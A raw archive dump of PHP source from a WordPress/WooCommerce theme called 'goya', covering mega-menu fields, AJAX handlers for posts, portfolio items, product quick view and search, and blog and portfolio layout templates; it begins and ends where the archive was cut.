true ); $menu_item_megamenu_columns = get_post_meta( $item_id, '_menu_item_megamenu_columns', true ); $menu_item_menutitle = get_post_meta( $item_id, '_menu_item_menutitle', true ); $menu_item_menulabel = get_post_meta( $item_id, '_menu_item_menulabel', true ); $menu_item_menulabelcolor = get_post_meta( $item_id, '_menu_item_menulabelcolor', true ); $menu_item_menuimage = get_post_meta( $item_id, '_menu_item_menuimage', true ); ?> <div class="et_menu_options"> <div class="et-field-link-mega description description-thin"> <label for="menu_item_megamenu-<?php echo esc_attr($item_id); ?>"> <?php esc_html_e( 'Show as Mega Menu', 'goya' ); ?><br /> <?php $value = $menu_item_megamenu; if($value != "") $value = "checked='checked'"; ?> <input type="checkbox" value="enabled" id="menu_item_megamenu-<?php echo esc_attr($item_id); ?>" name="menu_item_megamenu[<?php echo esc_attr($item_id); ?>]" <?php echo esc_attr( $value ); ?> /> <?php esc_html_e( 'Enable', 'goya' ); ?> </label> </div> <div class="et-field-link-mega description description-thin"> <label for="menu_item_megamenu-columns-<?php echo esc_attr($item_id); ?>"> <?php esc_html_e( 'Main menu columns', 'goya' ); ?><br /> <select class="widefat code edit-menu-item-custom" id="menu_item_megamenu_columns-<?php echo esc_attr($item_id); ?>" name="menu_item_megamenu_columns[<?php echo esc_attr($item_id); ?>]"> <?php $value = $menu_item_megamenu_columns; if (!$value) { $value = 5; } for ($i = 3; $i <= 9; $i++) { ?> <option value="<?php echo esc_attr( $i ) ?>" <?php echo ($value == $i) ? "selected='selected'" : ''; ?>><?php echo esc_attr( $i ) ?></option> <?php } ?> </select> </label> </div> <div class="et-field-link-title description description-wide"> <label for="menu_item_menutitle-<?php echo esc_attr($item_id); ?>"> <?php esc_html_e( 'Show as Title', 'goya' ); ?><br /> <?php $value = $menu_item_menutitle; if($value != "") $value = "checked='checked'"; ?> <input type="checkbox" value="enabled" id="menu_item_menutitle-<?php echo esc_attr($item_id); ?>" name="menu_item_menutitle[<?php echo esc_attr($item_id); ?>]" <?php echo esc_attr( $value ); ?> /> <?php esc_html_e( 'Enable', 'goya' ); ?> </label> </div> <div class="et-field-link-label description description-wide"> <label for="menu_item_menulabel-<?php echo esc_attr($item_id); ?>"> <?php esc_html_e( 'Highlight Label', 'goya' ); ?> <span class="small-tag"><?php esc_html_e( 'label', 'goya' ); ?></span><br /> <input type="text" class="widefat code edit-menu-item-custom" id="menu_item_menulabel-<?php echo esc_attr($item_id); ?>" name="menu_item_menulabel[<?php echo esc_attr($item_id); ?>]" value="<?php echo esc_attr( $menu_item_menulabel ); ?>"/> </label> </div> <div class="et-field-link-labelcolor description description-wide"> <label for="menu_item_menulabelcolor-<?php echo esc_attr($item_id); ?>"> <input type="text" class="widefat code edit-menu-item-custom et-color-field" id="menu_item_menulabelcolor-<?php echo esc_attr($item_id); ?>" name="menu_item_menulabelcolor[<?php echo esc_attr($item_id); ?>]" value="<?php echo esc_attr( $menu_item_menulabelcolor ); ?>"/> </label> </div> <div class="et-field-link-image description description-wide"> <?php wp_enqueue_media(); ?> <label for="menu_item_menuimage-<?php echo esc_attr($item_id); ?>"> <?php esc_html_e( 'Menu Image', 'goya' ); ?> </label> <div class='image-preview-wrapper'> <?php $image_attributes = wp_get_attachment_image_src( $menu_item_menuimage, 'thumbnail' ); if ($image_attributes != '' ) { ?> <img id='image-preview-<?php echo esc_attr($item_id); ?>' class="image-preview" src="<?php echo esc_attr( $image_attributes[0]); ?>" /> <?php } ?> </div> <input id="remove_image_button-<?php echo esc_attr($item_id); ?>" type="button" class="remove_image_button button" value="<?php esc_attr_e( 'Remove', 'goya' ); ?>" style="display: none;" /> <input id="upload_image_button-<?php echo esc_attr($item_id); ?>" type="button" class="upload_image_button button" value="<?php esc_attr_e( 'Select image', 'goya' ); ?>" /> <input type="hidden" class="widefat code edit-menu-item-custom image_attachment_id" id="menu_item_menuimage-<?php echo esc_attr($item_id); ?>" name="menu_item_menuimage[<?php echo esc_attr($item_id); ?>]" value="<?php echo esc_attr( $menu_item_menuimage ); ?>"/> </div> </div> <?php } add_action( 'wp_nav_menu_item_custom_fields', 'goya_custom_fields', 10, 2 ); /** * Save the menu item meta * * @param int $menu_id * @param int $menu_item_db_id */ function goya_nav_update( $menu_id, $menu_item_db_id ) { if (!isset($_REQUEST['menu_item_megamenu'][$menu_item_db_id])) { $_REQUEST['menu_item_megamenu'][$menu_item_db_id] = ''; } $menumega_enabled_value = $_REQUEST['menu_item_megamenu'][$menu_item_db_id]; update_post_meta( $menu_item_db_id, '_menu_item_megamenu', $menumega_enabled_value ); if (isset($menumega_enabled_value) && !empty($_REQUEST['menu_item_megamenu_columns'])) { $menumega_columns_enabled_value = $_REQUEST['menu_item_megamenu_columns'][$menu_item_db_id]; update_post_meta( $menu_item_db_id, '_menu_item_megamenu_columns', $menumega_columns_enabled_value ); } if (!isset($_REQUEST['menu_item_menutitle'][$menu_item_db_id])) { $_REQUEST['menu_item_menutitle'][$menu_item_db_id] = ''; } $menutitle_enabled_value = $_REQUEST['menu_item_menutitle'][$menu_item_db_id]; update_post_meta( $menu_item_db_id, '_menu_item_menutitle', $menutitle_enabled_value ); if (!empty($_REQUEST['menu_item_menulabel'])) { $menulabel_enabled_value = $_REQUEST['menu_item_menulabel'][$menu_item_db_id]; update_post_meta( $menu_item_db_id, '_menu_item_menulabel', $menulabel_enabled_value ); } if (!empty($_REQUEST['menu_item_menulabelcolor'])) { $menulabelcolor_enabled_value = $_REQUEST['menu_item_menulabelcolor'][$menu_item_db_id]; update_post_meta( $menu_item_db_id, '_menu_item_menulabelcolor', $menulabelcolor_enabled_value ); } if (!empty($_REQUEST['menu_item_menuimage'])) { $menuimage_enabled_value = $_REQUEST['menu_item_menuimage'][$menu_item_db_id]; update_post_meta( $menu_item_db_id, '_menu_item_menuimage', $menuimage_enabled_value ); } } add_action( 'wp_update_nav_menu_item', 'goya_nav_update', 10, 2 ); /** * Filters the CSS classes applied to a menu item's list item element. * * @param string[] $classes Array of the CSS classes that are applied to the menu item's `<li>` element. * @param WP_Post $item The current menu item. * @param stdClass $args An object of wp_nav_menu() arguments. * @param int $depth Depth of menu item. Used for padding. */ function goya_custom_nav_menu_css_class( $classes, $item, $args, $depth ) { $item->active_megamenu = get_post_meta( $item->ID, '_menu_item_megamenu', true); if ($depth === 0) { $mega_columns = get_post_meta( $item->ID, '_menu_item_megamenu_columns', true); if ($item->active_megamenu) { $classes[] = 'menu-item-mega-parent'; $classes[] = 'menu-item-mega-column-' . $mega_columns; } } else { $classes[] = get_post_meta( $item->ID, '_menu_item_menutitle', true) === 'enabled' ? ' title-item' : ''; } if ($depth === 1 && $item->active_megamenu) { $classes[] = 'mega-menu-title'; } return $classes; } add_filter( 'nav_menu_css_class', 'goya_custom_nav_menu_css_class', 10, 4 ); /** * Displays text on the front-end. * * @param string $title The menu item's title. * @param WP_Post $item The current menu item. * @return string */ function goya_custom_nav_menu_item_title( $title, $item, $args, $depth ) { if( is_object( $item ) && isset( $item->ID ) ) { $item->menuimage = get_post_meta( $item->ID, '_menu_item_menuimage', true); $item->menulabel = get_post_meta( $item->ID, '_menu_item_menulabel', true); $item->menu_label_color = get_post_meta( $item->ID, '_menu_item_menulabelcolor', true); $menu_label_color = ($item->menu_label_color != '') ? ' style="background-color:'. $item->menu_label_color .'"' : ''; $menu_image = wp_get_attachment_image( $item->menuimage, 'medium_large' ); $original_title = $title; $title = ($item->menuimage != '') ? '<span class="item-thumb">' . $menu_image . '</span><span class="item-caption">' : ''; $title .= $original_title; $title .= ($item->menulabel != '') ? '<span class="menu-label"'. $menu_label_color .'>'. $item->menulabel .'</span>' : ''; $title .= ($item->menuimage != '') ? '</span>' : ''; } return $title; } add_filter( 'nav_menu_item_title', 'goya_custom_nav_menu_item_title', 10, 4 ); ���������������������������������������������������������ajax.php��������������������������������������������������������������������������������������������0000644�����������������00000015073�15154650146�0006215 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /* Blog: Ajax load posts ---------------------------------------------------------- */ function goya_ajax_load_blog_posts() { $page = isset($_POST['page']) ? sanitize_key( wp_unslash($_POST['page']) ) : "1"; $ppp = get_option('posts_per_page'); $blog_style = isset($_POST['blog_style']) ? sanitize_key( wp_unslash($_POST['blog_style']) ) : get_theme_mod('blog_style','masonry'); $category_id = isset($_POST['category_id']) ? sanitize_key( wp_unslash($_POST['category_id']) ) : false; $args = array( 'posts_per_page' => $ppp, 'paged' => $page, 'cat' => $category_id, 'post_status' => 'publish' ); $more_query = new WP_Query( apply_filters('goya_load_more_blog_args', $args) ); if ($more_query->have_posts()) : while ($more_query->have_posts()) : $more_query->the_post(); echo '<h1>'.$category_id.'</h1>'; get_template_part( 'inc/templates/blogbit/'.$blog_style); endwhile; else : endif; wp_die(); } add_action('wp_ajax_nopriv_goya_blog_ajax', 'goya_ajax_load_blog_posts'); add_action('wp_ajax_goya_blog_ajax', 'goya_ajax_load_blog_posts'); /* Portfolio: Ajax load portfolio ---------------------------------------------------------- */ function goya_ajax_load_portfolio() { $keyword = isset($_POST['keyword']) ? sanitize_key( wp_unslash($_POST['keyword']) ) : false; $aspect = isset($_POST['aspect']) ? sanitize_key( wp_unslash($_POST['aspect']) ) : false; $animation = isset($_POST['animation']) ? sanitize_key( wp_unslash($_POST['animation']) ) : false; $columns = isset($_POST['columns']) ? urldecode( wp_unslash($_POST['columns']) ) : false; $style = isset($_POST['style']) ? sanitize_key( wp_unslash($_POST['style']) ) : false; $masonry = isset($_POST['masonry']) ? sanitize_key( wp_unslash($_POST['masonry']) ) : false; $category = isset($_POST['category']) ? urldecode( wp_unslash($_POST['category']) ) : false; $count = isset($_POST['count']) ? sanitize_key( wp_unslash($_POST['count']) ) : false; $categories = $category ? explode(',',$category) : false; $page = isset($_POST['page']) ? sanitize_key( wp_unslash($_POST['page']) ) : "1"; $args = array( 's' => $keyword, 'post_status' => 'publish', 'post_type' => 'portfolio', 'posts_per_page' => intval($count), 'paged' => $page, ); if($categories) { $args['tax_query'] = array( array( 'taxonomy' => 'portfolio-category', 'field' => 'term_id', 'terms' => $categories, ) ); } $more_query = new WP_Query( $args ); if ( class_exists( 'WPBakeryVisualComposerAbstract' ) ) { WPBMap::addAllMappedShortcodes(); } if ($more_query->have_posts()) : while ($more_query->have_posts()) : $more_query->the_post(); set_query_var( 'goya_port_layout', $masonry ); set_query_var( 'goya_port_aspect', $aspect ); set_query_var( 'goya_port_columns', $columns ); set_query_var( 'goya_port_animation', $animation ); get_template_part( 'inc/templates/portfolio/'.$style ); endwhile; else : endif; wp_reset_postdata(); wp_die(); } add_action('wp_ajax_nopriv_goya_portfolio_ajax', 'goya_ajax_load_portfolio'); add_action('wp_ajax_goya_portfolio_ajax', 'goya_ajax_load_portfolio'); /* WooCommerce: Quick View ---------------------------------------------------------- */ function goya_ajax_load_product() { global $post; $post = get_post( wp_unslash( absint( $_POST['product_id'] ) ) ); $output = ''; setup_postdata( $post ); ob_start(); wc_get_template_part( 'quickview/content', 'quickview' ); $output = ob_get_clean(); wp_reset_postdata(); echo esc_attr('') . $output; exit; } add_action( 'wp_ajax_nopriv_goya_product_ajax', 'goya_ajax_load_product' ); add_action( 'wc_ajax_goya_product_ajax', 'goya_ajax_load_product' ); /* Ajax Products Search ---------------------------------------------------------- */ function goya_ajax_search_products() { $search_keyword = wp_unslash( $_REQUEST['query'] ); $time_start = microtime(true); $product_visibility_term_ids = wc_get_product_visibility_term_ids(); $ordering_args = WC()->query->get_catalog_ordering_args( 'title', 'asc' ); $suggestions = array(); if ( get_theme_mod('search_categories', false) == true ) { $category_id = wp_unslash( $_REQUEST['category_slug'] ); } else { $category_id = '0'; } if ( $category_id != '0' ) { $operator = 'IN'; } else { $operator = 'NOT IN'; } $args = array( 's' => $search_keyword, 'post_type' => 'product', 'post_status' => 'publish', 'ignore_sticky_posts' => 1, 'posts_per_page' => 6, 'orderby' => 'relevance', 'order' => $ordering_args['order'], 'suppress_filters' => false, // WPML only current language 'tax_query' => array( array( 'taxonomy' => 'product_visibility', 'field' => 'term_id', 'terms' => $product_visibility_term_ids['exclude-from-search'], 'operator' => 'NOT IN', ), ), ); if ( $category_id != '0' ) { $args['tax_query'][] = array( 'taxonomy' => 'product_cat', 'field' => 'slug', 'terms' => $category_id, 'operator' => 'IN', ); } if ( get_option('woocommerce_hide_out_of_stock_items') == 'yes' ) { $args['tax_query'][] = array( 'taxonomy' => 'product_visibility', 'field' => 'name', 'terms' => array('outofstock'), 'operator' => 'NOT IN' ); } $products = get_posts( $args ); if ( ! empty( $products ) ) { $counter = 0; foreach ( $products as $post ) { if ($counter == 5) { $suggestions[] = array( 'id' => -2, 'value' => $search_keyword, 'url' => esc_html__( 'View All', 'goya' ), 'thumbnail' => '', 'price' => '' ); } else { $product = wc_get_product( $post ); $catalog_mode = get_theme_mod('shop_catalog_mode', false); $suggestions[] = array( 'id' => $product->get_id(), 'value' => strip_tags( $product->get_title() ), 'url' => $product->get_permalink(), 'thumbnail' => get_the_post_thumbnail( $product->get_id(), 'woocommerce_thumbnail' ), 'price' => ($catalog_mode != true) ? $product->get_price_html() : '' ); } $counter++; } } else { $suggestions[] = array( 'id' => -1, 'value' => '', 'url' => esc_html__( 'No results', 'goya' ), 'thumbnail' => '', 'price' => '' ); } $time_end = microtime(true); $time = $time_end - $time_start; $suggestions = array( 'suggestions' => $suggestions, 'time' => $time ); echo json_encode( $suggestions ); wp_die(); } add_action('wp_ajax_nopriv_goya_search_products_ajax', 'goya_ajax_search_products'); add_action('wp_ajax_goya_search_products_ajax', 'goya_ajax_search_products'); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������templates/blog/grid.php�����������������������������������������������������������������������������0000644�����������������00000000600�15154650146�0011126 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if (have_posts()) : ?> <div class="row masonry-blog <?php echo esc_attr( goya_pagination_style() ); ?>"> <?php while (have_posts()) : the_post(); ?> <?php get_template_part( 'inc/templates/blogbit/grid'); ?> <?php endwhile; ?> </div> <?php do_action('goya_blog_pagination'); ?> <?php else : ?> <?php get_template_part( 'inc/templates/not-found' ); ?> <?php endif; ?>��������������������������������������������������������������������������������������������������������������������������������templates/blog/list.php�����������������������������������������������������������������������������0000644�����������������00000000655�15154650146�0011166 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if (have_posts()) : ?> <div class="justify-content-md-center"> <div class="col-12 <?php echo esc_attr( goya_pagination_style() ); ?>"> <?php while (have_posts()) : the_post(); ?> <?php get_template_part( 'inc/templates/blogbit/list'); ?> <?php endwhile; ?> </div> </div> <?php do_action('goya_blog_pagination'); ?> <?php else : ?> <?php get_template_part( 'inc/templates/not-found' ); ?> <?php endif; ?> �����������������������������������������������������������������������������������templates/blog/cards.php����������������������������������������������������������������������������0000644�����������������00000000630�15154650146�0011300 0����������������������������������������������������������������������������������������������������ustar�00������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������� <?php if (have_posts()) : ?> <div class="row <?php echo esc_attr( goya_pagination_style() ); ?> masonry" data-layoutmode="packery"> <?php while (have_posts()) : the_post(); ?> <?php get_template_part( 'inc/templates/blogbit/cards'); ?> <?php endwhile; ?> </div> <?php do_action('goya_blog_pagination'); ?> <?php else : ?> <?php get_template_part( 'inc/templates/not-found' ); ?> <?php endif; ?> ��������������������������������������������������������������������������������������������������������templates/blog/masonry.php��������������������������������������������������������������������������0000644�����������������00000000631�15154650146�0011675 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if (have_posts()) : ?> <div class="row <?php echo esc_attr( goya_pagination_style() ); ?> masonry" data-layoutmode="packery"> <?php while (have_posts()) : the_post(); ?> <?php get_template_part( 'inc/templates/blogbit/masonry'); ?> <?php endwhile; ?> </div> <?php do_action('goya_blog_pagination'); ?> <?php else : ?> <?php get_template_part( 'inc/templates/not-found' ); ?> <?php endif; ?> �������������������������������������������������������������������������������������������������������templates/blog/classic.php��������������������������������������������������������������������������0000644�����������������00000000562�15154650146�0011631 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if (have_posts()) : ?> <div class="<?php echo esc_attr( goya_pagination_style() ); ?>"> <?php while (have_posts()) : the_post(); ?> <?php get_template_part( 'inc/templates/blogbit/classic'); ?> <?php endwhile; ?> </div> <?php do_action('goya_blog_pagination'); ?> <?php else : ?> <?php get_template_part( 'inc/templates/not-found' ); ?> <?php endif; ?>����������������������������������������������������������������������������������������������������������������������������������������������templates/portfolio/overlay.php���������������������������������������������������������������������0000644�����������������00000003707�15154650146�0012767 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php $vars = $wp_query->query_vars; $port_layout = array_key_exists('goya_port_layout', $vars) ? $vars['goya_port_layout'] : false; $port_columns = array_key_exists('goya_port_columns', $vars) ? $vars['goya_port_columns'] : false; $port_aspect = array_key_exists('goya_port_aspect', $vars) ? $vars['goya_port_aspect'] : false; $port_animation = array_key_exists('goya_port_animation', $vars) ? $vars['goya_port_animation'] : false; $id = get_the_ID(); $port_columns = goya_get_portfolio_columns($port_columns); //Image $image_id = get_post_thumbnail_id($id); // Categories $categories = get_the_term_list( $id, 'portfolio-category', '', ', ', '' ); if ($categories !== '' && !empty($categories)) { $categories = strip_tags($categories); } $terms = get_the_terms( $id, 'portfolio-category' ); $cats = ''; if (!empty($terms)) { foreach ($terms as $term) { $cats .= ' cat-'.strtolower($term->slug); } } // Classes $class[] = 'item'; $class[] = 'type-portfolio'; $class[] = 'aspect-ratio-'.$port_aspect; $class[] = $cats; // Image sizes if ($port_layout == 'masonry') { $masonry_size = get_post_meta($id, 'goya_portfolio_masonry_size', true); $masonry_adjust = goya_get_masonry_size($masonry_size); $class[] = $masonry_adjust['class']; $image_size = $masonry_adjust['image_size']; } else { $class[] = urldecode($port_columns); $image_size = 'medium_large'; } ?> <div <?php post_class($class); ?> id="portfolio-<?php the_ID(); ?>"> <div class="portfolio-holder masonry-items-holder <?php echo esc_attr( $port_animation ); ?>"> <div class="et-portfolio-image"><?php the_post_thumbnail($image_size); ?></div> <a href="<?php echo esc_url(get_the_permalink()); ?>" class="et-portfolio-link"></a> <div class="et-portfolio-hover"></div> <div class="et-portfolio-content content-overlay"> <aside class="et-portfolio-categories"><?php echo esc_html($categories); ?></aside> <h3><?php the_title(); ?></h3> </div> </div> </div>���������������������������������������������������������templates/portfolio/portfolio-standard.php����������������������������������������������������������0000644�����������������00000002073�15154650146�0015114 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php $title_class[] = 'post-featured'; $title_class[] = 'single-image'; $title_class[] = 'title-wrap'; $image_id = $image_src = ''; if ( has_post_thumbnail() ) { $image_id = get_post_thumbnail_id(); $image_url = wp_get_attachment_image_src($image_id, 'full'); $image_src = $image_url[0]; } if ( rwmb_meta( 'goya_portfolio_featured_gallery') !== '' ) { $gallery = array(); $gallery = rwmb_meta( 'goya_portfolio_featured_gallery', array( 'size' => 'full' ) ); if (!empty($gallery) && count($gallery) > 0) { $gallery = array_shift($gallery); $image_src = $gallery['url']; } } ?> <div class="post-featured-section"> <?php if ( $image_src != '' ) { $title_class[] = 'parallax_image'; $title_class[] = 'vh-height'; ?> <figure class="<?php echo esc_attr(implode(' ', $title_class)); ?>" style="background-image: url(<?php echo esc_url($image_src); ?>);"> <?php } else { ?> <figure class="<?php echo esc_attr(implode(' ', $title_class)); ?>" > <?php } ?> <?php get_template_part( 'inc/templates/portfolio/portfolio-title'); ?> </figure> </div>���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������templates/portfolio/portfolio-title.php�������������������������������������������������������������0000644�����������������00000002221�15154650146�0014430 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php $disable_title = get_post_meta(get_the_ID(), 'goya_portfolio_disable_title', true); if ($disable_title) return; $title_class = 'title_outer'; $portfolio_layout = goya_meta_config('portfolio','layout_single','regular'); $gallery = array(); if ( rwmb_meta( 'goya_portfolio_featured_gallery') !== '' ) { $gallery = rwmb_meta( 'goya_portfolio_featured_gallery', array( 'size' => 'full' ) ); } $multiple_gallery = ( !empty($gallery) && count($gallery) > 1 ) ? true : false; ?> <header class="post-title entry-header header-parallax container"> <div class="row justify-content-md-center"> <div class="col-lg-9"> <div class="<?php echo esc_attr( $title_class ); ?>"> <div class="single-post-categories"> <?php echo strip_tags( get_the_term_list( $id, 'portfolio-category', '<ul class="post-categories"><li>', '</li><li>', '</li></ul>' ) , '<ul><li>') ; ?> </div> <?php the_title('<h1 class="entry-title" itemprop="name headline">', '</h1>'); ?> <div class="et-portfolio-excerpt"> <?php add_filter( 'excerpt_length', 'goya_mini_excerpt_length' ); the_excerpt(); ?> </div> </div> </div> </div> </header>�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������templates/portfolio/hover-card.php������������������������������������������������������������������0000644�����������������00000004522�15154650146�0013334 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php $vars = $wp_query->query_vars; $port_layout = array_key_exists('goya_port_layout', $vars) ? $vars['goya_port_layout'] : false; $port_columns = array_key_exists('goya_port_columns', $vars) ? $vars['goya_port_columns'] : false; $port_aspect = array_key_exists('goya_port_aspect', $vars) ? $vars['goya_port_aspect'] : false; $port_animation = array_key_exists('goya_port_animation', $vars) ? $vars['goya_port_animation'] : false; $id = get_the_ID(); $port_columns = goya_get_portfolio_columns($port_columns); //Image $image_id = get_post_thumbnail_id($id); // Colors $hover_color = get_post_meta($id, 'goya_portfolio_hover_color', true); // Categories $categories = get_the_term_list( $id, 'portfolio-category', '', ', ', '' ); if ($categories !== '' && !empty($categories)) { $categories = strip_tags($categories); } $terms = get_the_terms( $id, 'portfolio-category' ); $cats = ''; if (!empty($terms)) { foreach ($terms as $term) { $cats .= ' cat-'.strtolower($term->slug); } } // Classes $class[] = 'item'; $class[] = 'type-portfolio'; $class[] = 'aspect-ratio-'.$port_aspect; $class[] = $cats; // Image sizes if ($port_layout == 'masonry') { $masonry_size = get_post_meta($id, 'goya_portfolio_masonry_size', true); $masonry_adjust = goya_get_masonry_size($masonry_size); $class[] = $masonry_adjust['class']; $image_size = $masonry_adjust['image_size']; } else { $class[] = $port_columns; $image_size = 'medium_large'; } if ($hover_color) { // Custom styles $styles = ''; $styles .= '.et-portfolio-style-hover-card #portfolio-' . $id . ' .et-portfolio-hover { background-color: ' . $hover_color . '}'; //Add inline styles if (class_exists('Goya_Layout')) { Goya_Layout::append_to_shortcodes_css_buffer( $styles ); } } ?> <div <?php post_class($class); ?> id="portfolio-<?php the_ID(); ?>"> <div class="portfolio-holder masonry-items-holder <?php echo esc_attr( $port_animation ); ?>"> <div class="et-portfolio-image"><?php the_post_thumbnail($image_size); ?></div> <a href="<?php echo esc_url(get_the_permalink()); ?>" class="et-portfolio-link"></a> <div class="et-portfolio-hover"></div> <div class="et-portfolio-content content-overlay"> <aside class="et-portfolio-categories"><?php echo esc_html($categories); ?></aside> <h3><?php the_title(); ?></h3> </div> </div> </div>������������������������������������������������������������������������������������������������������������������������������������������������������������������������������templates/portfolio/regular.php���������������������������������������������������������������������0000644�����������������00000003705�15154650146�0012745 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php $vars = $wp_query->query_vars; $port_layout = array_key_exists('goya_port_layout', $vars) ? $vars['goya_port_layout'] : false; $port_columns = array_key_exists('goya_port_columns', $vars) ? $vars['goya_port_columns'] : false; $port_aspect = array_key_exists('goya_port_aspect', $vars) ? $vars['goya_port_aspect'] : false; $port_animation = array_key_exists('goya_port_animation', $vars) ? $vars['goya_port_animation'] : false; $id = get_the_ID(); $port_columns = goya_get_portfolio_columns($port_columns); //Image $image_id = get_post_thumbnail_id($id); // Categories $categories = get_the_term_list( $id, 'portfolio-category', '', ', ', '' ); if ($categories !== '' && !empty($categories)) { $categories = strip_tags($categories); } $terms = get_the_terms( $id, 'portfolio-category' ); $cats = ''; if (!empty($terms)) { foreach ($terms as $term) { $cats .= ' cat-'.strtolower($term->slug); } } // Classes $class[] = 'item'; $class[] = 'type-portfolio'; $class[] = 'aspect-ratio-'.$port_aspect; $class[] = $cats; // Image sizes if ($port_layout == 'masonry') { $masonry_size = get_post_meta($id, 'goya_portfolio_masonry_size', true); $masonry_adjust = goya_get_masonry_size($masonry_size); $class[] = $masonry_adjust['class']; $image_size = $masonry_adjust['image_size']; } else { $class[] = $port_columns; $image_size = 'medium_large'; } ?> <div <?php post_class($class); ?> id="portfolio-<?php the_ID(); ?>"> <div class="portfolio-holder masonry-items-holder <?php echo esc_attr( $port_animation ); ?>"> <div class="et-portfolio-image"> <?php the_post_thumbnail($image_size); ?> <div class="et-portfolio-hover"></div> </div> <a href="<?php echo esc_url(get_the_permalink()); ?>" class="et-portfolio-link"></a> <div class="et-portfolio-content"> <aside class="et-portfolio-categories post-categories"><?php echo esc_html($categories); ?></aside> <h3><?php the_title(); ?></h3> </div> </div> </div>�����������������������������������������������������������templates/portfolio/list.php������������������������������������������������������������������������0000644�����������������00000004573�15154650146�0012263 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php $vars = $wp_query->query_vars; $port_layout = array_key_exists('goya_port_layout', $vars) ? $vars['goya_port_layout'] : false; $port_columns = array_key_exists('goya_port_columns', $vars) ? $vars['goya_port_columns'] : false; $port_aspect = array_key_exists('goya_port_aspect', $vars) ? $vars['goya_port_aspect'] : false; $port_animation = array_key_exists('goya_port_animation', $vars) ? $vars['goya_port_animation'] : false; $id = get_the_ID(); $port_columns = goya_get_portfolio_columns($port_columns); //Image $image_id = get_post_thumbnail_id($id); // Categories $categories = get_the_term_list( $id, 'portfolio-category', '', ', ', '' ); if ($categories !== '' && !empty($categories)) { $categories = strip_tags($categories); } $terms = get_the_terms( $id, 'portfolio-category' ); $cats = ''; if (!empty($terms)) { foreach ($terms as $term) { $cats .= ' cat-'.strtolower($term->slug); } } // Classes $class[] = 'item'; $class[] = 'type-portfolio'; $class[] = 'aspect-ratio-'.$port_aspect; $class[] = $cats; // Image sizes $image_size = 'medium_large'; $animation = array( 'animation right-to-left', 'animation left-to-right', 'animation right-to-left-3d', 'animation left-to-right-3d', 'animation bottom-to-top', 'animation top-to-bottom', 'animation bottom-to-top-3d', 'animation top-to-bottom-3d', 'animation scale', 'animation fade-in' ); ?> <div <?php post_class($class); ?> id="portfolio-<?php the_ID(); ?>"> <?php $rand = rand(5,7); ?> <div class="row portfolio-holder masonry-items-holder"> <div class="col-md-<?php echo esc_attr( $rand + 1 ); ?> col-lg-<?php echo esc_attr( $rand ); ?>"> <div class="et-portfolio-image post-gallery <?php echo esc_attr( $animation[array_rand($animation)] ); ?>"> <a href="<?php echo esc_url(get_the_permalink()); ?>" class="et-portfolio-list-link"> <?php the_post_thumbnail($image_size); ?> </a> </div> </div> <div class="col-md-4 col-lg-3 post-list-excerpt"> <div class="inner animation right-to-left"> <aside class="et-portfolio-categories post-categories"><?php echo esc_html($categories); ?></aside> <header class="entry-header"> <?php the_title('<h3 class="entry-title" itemprop="name headline"><a class="entry-link" href="'.get_the_permalink().'" title="'.the_title_attribute("echo=0").'">', '</a></h3>'); ?> </header> </div> </div> </div> </div> �������������������������������������������������������������������������������������������������������������������������������������templates/portfolio/portfolio-gallery.php�����������������������������������������������������������0000644�����������������00000002020�15154650146�0014743 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if ( rwmb_meta( 'goya_portfolio_featured_gallery') !== '' ) { $gallery = rwmb_meta( 'goya_portfolio_featured_gallery', array( 'size' => 'full' ) ); ?> <div class="et-banner-slider slick slick-slider post-featured-section post-featured-gallery slick-dotted slick-dots-inside slick-dots-centered" data-pagination="true" data-navigation="true" data-columns="1" data-autoplay="false" data-infinite="true"> <?php foreach ( $gallery as $gallery_image ) { ?> <figure class="et-banner image-type-fluid"> <div class="et-banner-image vh-height"> <img src="<?php echo esc_attr($gallery_image['url']); ?>" alt="<?php echo esc_attr($gallery_image['caption']); ?>"> </div> <?php if ($gallery_image['caption']) { ?> <div class="et-banner-content"> <div class="et-banner-text h_left v_bottom align_left"> <div class="et-banner-text-inner" > <h4 class="et-banner-title"><?php echo esc_attr($gallery_image['caption']); ?></h4> </div> </div> </div> <?php } ?> </figure> <?php } ?> </div> <?php } ?>����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������templates/portfolio/portfolio-meta-single.php�������������������������������������������������������0000644�����������������00000001664�15154650146�0015526 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php $author = get_post_meta( $id, 'goya_portfolio_author', true); $date = get_post_meta( $id, 